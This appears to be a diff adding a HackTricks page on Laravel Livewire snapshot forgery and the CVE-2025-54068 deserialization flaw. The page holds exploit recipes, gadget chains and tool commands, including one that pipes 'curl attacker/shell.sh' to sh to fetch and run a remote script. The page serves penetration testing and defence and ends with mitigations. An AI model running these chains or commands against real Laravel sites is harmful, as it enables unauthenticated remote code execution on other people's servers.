|
| 1 | +# Laravel Livewire Hydration & Synthesizer Abuse |
| 2 | + |
| 3 | +{{#include ../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +## Recap of the Livewire state machine |
| 6 | + |
| 7 | +Livewire 3 components exchange their state through **snapshots** that contain `data`, `memo`, and a checksum. Every POST to `/livewire/update` rehydrates the JSON snapshot server-side and executes the queued `calls`/`updates`. |
| 8 | + |
| 9 | +```php |
| 10 | +class Checksum { |
| 11 | + static function verify($snapshot) { |
| 12 | + $checksum = $snapshot['checksum']; |
| 13 | + unset($snapshot['checksum']); |
| 14 | + if ($checksum !== self::generate($snapshot)) { |
| 15 | + throw new CorruptComponentPayloadException; |
| 16 | + } |
| 17 | + } |
| 18 | + |
| 19 | + static function generate($snapshot) { |
| 20 | + return hash_hmac('sha256', json_encode($snapshot), $hashKey); |
| 21 | + } |
| 22 | +} |
| 23 | +``` |
| 24 | + |
| 25 | +Anyone holding `APP_KEY` (used to derive `$hashKey`) can therefore forge arbitrary snapshots by recomputing the HMAC. |
| 26 | + |
| 27 | +Complex properties are encoded as **synthetic tuples** detected by `Livewire\Drawer\BaseUtils::isSyntheticTuple()`; each tuple is `[value, {"s":"<key>", ...meta}]`. The hydration core simply delegates every tuple to the synth selected in `HandleComponents::$propertySynthesizers` and recurses over children: |
| 28 | + |
| 29 | +```php |
| 30 | +protected function hydrate($valueOrTuple, $context, $path) |
| 31 | +{ |
| 32 | + if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value; |
| 33 | + [$value, $meta] = $tuple; |
| 34 | + $synth = $this->propertySynth($meta['s'], $context, $path); |
| 35 | + return $synth->hydrate($value, $meta, fn ($name, $child) |
| 36 | + => $this->hydrate($child, $context, "{$path}.{$name}")); |
| 37 | +} |
| 38 | +``` |
| 39 | + |
| 40 | +This recursive design makes Livewire a **generic object-instantiation engine** once an attacker controls either the tuple metadata or any nested tuple processed during recursion. |
| 41 | + |
| 42 | +## Synthesizers that grant gadget primitives |
| 43 | + |
| 44 | +| Synthesizer | Attacker-controlled behaviour | |
| 45 | +|-------------|--------------------------------| |
| 46 | +| **CollectionSynth (`clctn`)** | Instantiates `new $meta['class']($value)` after rehydrating each child. Any class with an array constructor can be created, and each item may itself be a synthetic tuple. |
| 47 | +| **FormObjectSynth (`form`)** | Calls `new $meta['class']($component, $path)`, then assigns every public property from attacker-controlled children via `$hydrateChild`. Constructors that accept two loosely typed parameters (or default args) are enough to reach arbitrary public properties. |
| 48 | +| **ModelSynth (`mdl`)** | When `key` is absent from meta it executes `return new $class;` allowing zero-argument instantiation of any class under attacker control. |
| 49 | + |
| 50 | +Because synths invoke `$hydrateChild` on every nested element, arbitrary gadget graphs can be built by stacking tuples recursively. |
| 51 | + |
| 52 | +## Forging snapshots when `APP_KEY` is known |
| 53 | + |
| 54 | +1. Capture a legitimate `/livewire/update` request and decode `components[0].snapshot`. |
| 55 | +2. Inject nested tuples that point to gadget classes and recompute `checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY)`. |
| 56 | +3. Re-encode the snapshot, keep `_token`/`memo` untouched, and replay the request. |
| 57 | + |
| 58 | +A minimal proof of execution uses **Guzzle's `FnStream`** and **Flysystem's `ShardedPrefixPublicUrlGenerator`**. One tuple instantiates `FnStream` with constructor data `{ "__toString": "phpinfo" }`, the next instantiates `ShardedPrefixPublicUrlGenerator` with `[FnStreamInstance]` as `$prefixes`. When Flysystem casts each prefix to `string`, PHP invokes the attacker-provided `__toString` callable, calling any function without arguments. |
| 59 | + |
| 60 | +### From function calls to full RCE |
| 61 | + |
| 62 | +Leveraging Livewire's instantiation primitives, Synacktiv adapted phpggc's `Laravel/RCE4` chain so that hydration boots an object whose public Queueable state triggers deserialization: |
| 63 | + |
| 64 | +1. **Queueable trait** – any object using `Illuminate\Bus\Queueable` exposes public `$chained` and executes `unserialize(array_shift($this->chained))` in `dispatchNextJobInChain()`. |
| 65 | +2. **BroadcastEvent wrapper** – `Illuminate\Broadcasting\BroadcastEvent` (ShouldQueue) is instantiated via `CollectionSynth` / `FormObjectSynth` with public `$chained` populated. |
| 66 | +3. **phpggc Laravel/RCE4Adapted** – the serialized blob stored in `$chained[0]` builds `PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed`. `Signed::__invoke()` finally calls `call_user_func_array($closure, $args)` enabling `system($cmd)`. |
| 67 | +4. **Stealth termination** – by handing a second `FnStream` callable such as `[new Laravel\Prompts\Terminal(), 'exit']`, the request ends with `exit()` instead of a noisy exception, keeping the HTTP response clean. |
| 68 | + |
| 69 | +### Automating snapshot forgery |
| 70 | + |
| 71 | +`synacktiv/laravel-crypto-killer` now ships a `livewire` mode that stitches everything: |
| 72 | + |
| 73 | +```bash |
| 74 | +./laravel_crypto_killer.py -e livewire -k base64:APP_KEY \ |
| 75 | + -j request.json --function system -p "bash -c 'id'" |
| 76 | +``` |
| 77 | + |
| 78 | +The tool parses the captured snapshot, injects the gadget tuples, recomputes the checksum, and prints a ready-to-send `/livewire/update` payload. |
| 79 | + |
| 80 | +## CVE-2025-54068 – RCE without `APP_KEY` |
| 81 | + |
| 82 | +`updates` are merged into component state **after** the snapshot checksum is validated. If a property inside the snapshot is (or becomes) a synthetic tuple, Livewire reuses its meta while hydrating the attacker-controlled update value: |
| 83 | + |
| 84 | +```php |
| 85 | +protected function hydrateForUpdate($raw, $path, $value, $context) |
| 86 | +{ |
| 87 | + $meta = $this->getMetaForPath($raw, $path); |
| 88 | + if ($meta) { |
| 89 | + return $this->hydrate([$value, $meta], $context, $path); |
| 90 | + } |
| 91 | +} |
| 92 | +``` |
| 93 | + |
| 94 | +Exploit recipe: |
| 95 | + |
| 96 | +1. Find a Livewire component with an untyped public property (e.g., `public $count;`). |
| 97 | +2. Send an update that sets that property to `[]`. The next snapshot now stores it as `[[], {"s": "arr"}]`. |
| 98 | +3. Craft another `updates` payload where that property contains a deeply nested array embedding tuples such as `[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]`. |
| 99 | +4. During recursion, `hydrate()` evaluates each nested child independently, so attacker-chosen synth keys/classes are honoured even though the outer tuple and checksum never changed. |
| 100 | +5. Reuse the same `CollectionSynth`/`FormObjectSynth` primitives to instantiate a Queueable gadget whose `$chained[0]` contains the phpggc payload. Livewire processes the forged updates, invokes `dispatchNextJobInChain()`, and reaches `system(<cmd>)` without knowing `APP_KEY`. |
| 101 | + |
| 102 | +Key reasons this works: |
| 103 | + |
| 104 | +- `updates` are not covered by the snapshot checksum. |
| 105 | +- `getMetaForPath()` trusts whichever synth metadata already existed for that property even if the attacker previously forced it to become a tuple via weak typing. |
| 106 | +- Recursion plus weak typing lets each nested array be interpreted as a brand new tuple, so arbitrary synth keys and arbitrary classes eventually reach hydration. |
| 107 | + |
| 108 | +## Livepyre – end-to-end exploitation |
| 109 | + |
| 110 | +[Livepyre](https://github.com/synacktiv/Livepyre) automates both the APP_KEY-less CVE and the signed-snapshot path: |
| 111 | + |
| 112 | +- Fingerprints the deployed Livewire version by parsing `<script src="/livewire/livewire.js?id=HASH">` and mapping the hash to vulnerable releases. |
| 113 | +- Collects baseline snapshots by replaying benign actions and extracting `components[].snapshot`. |
| 114 | +- Generates either an `updates`-only payload (CVE-2025-54068) or a forged snapshot (known APP_KEY) embedding the phpggc chain. |
| 115 | + |
| 116 | +Typical usage: |
| 117 | + |
| 118 | +```bash |
| 119 | +# CVE-2025-54068, unauthenticated |
| 120 | +python3 Livepyre.py -u https://target/livewire/component -f system -p id |
| 121 | + |
| 122 | +# Signed snapshot exploit with known APP_KEY |
| 123 | +python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \ |
| 124 | + -f system -p "bash -c 'curl attacker/shell.sh|sh'" |
| 125 | +``` |
| 126 | + |
| 127 | +`-c/--check` runs a non-destructive probe, `-F` skips version gating, `-H` and `-P` add custom headers or proxies, and `--function/--param` customise the php function invoked by the gadget chain. |
| 128 | + |
| 129 | +## Defensive considerations |
| 130 | + |
| 131 | +- Upgrade to fixed Livewire builds (>= 3.6.4 according to the vendor bulletin) and deploy the vendor patch for CVE-2025-54068. |
| 132 | +- Avoid weakly typed public properties in Livewire components; explicit scalar types prevent property values from being coerced into arrays/tuples. |
| 133 | +- Register only the synthesizers you truly need and treat user-controlled metadata (`$meta['class']`) as untrusted. |
| 134 | +- Reject updates that change the JSON type of a property (e.g., scalar -> array) unless explicitly allowed, and re-derive synth metadata instead of reusing stale tuples. |
| 135 | +- Rotate `APP_KEY` promptly after any disclosure because it enables offline snapshot forging no matter how patched the code-base is. |
| 136 | + |
| 137 | +## References |
| 138 | + |
| 139 | +- [Synacktiv – Livewire: Remote Command Execution via Unmarshaling](https://www.synacktiv.com/publications/livewire-execution-de-commandes-a-distance-via-unmarshaling.html) |
| 140 | +- [synacktiv/laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) |
| 141 | +- [synacktiv/Livepyre](https://github.com/synacktiv/Livepyre) |
| 142 | + |
| 143 | +{{#include ../../banners/hacktricks-training.md}} |
0 commit comments